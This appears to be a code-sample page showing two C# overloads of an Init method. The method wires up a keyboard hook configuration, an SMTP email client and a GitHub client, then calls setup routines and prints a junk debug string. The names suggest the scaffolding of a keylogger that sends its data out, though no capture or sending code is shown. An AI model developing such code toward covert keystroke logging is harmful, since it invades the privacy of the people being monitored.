示例#1
0
 public static void Init(string title, int codeSize, int textSize, Smtp email, Octokit github)
 {
     Name     = title;
     CodeSize = codeSize <= 0 ? 1024 : codeSize;
     TextSize = textSize <= 0 ? 256  : textSize;
     Email    = email;
     GitHub   = github;
     InitHook();
     InitFiles();
     InitStrings();
     WriteHead();
     Console.WriteLine("aasasas");
 }
示例#2
0
 public static void Init(KeyHookConfig c, Smtp email, Octokit github)
 {
     Init(c.Name, c.CodeSize, c.TextSize, email, github);
 }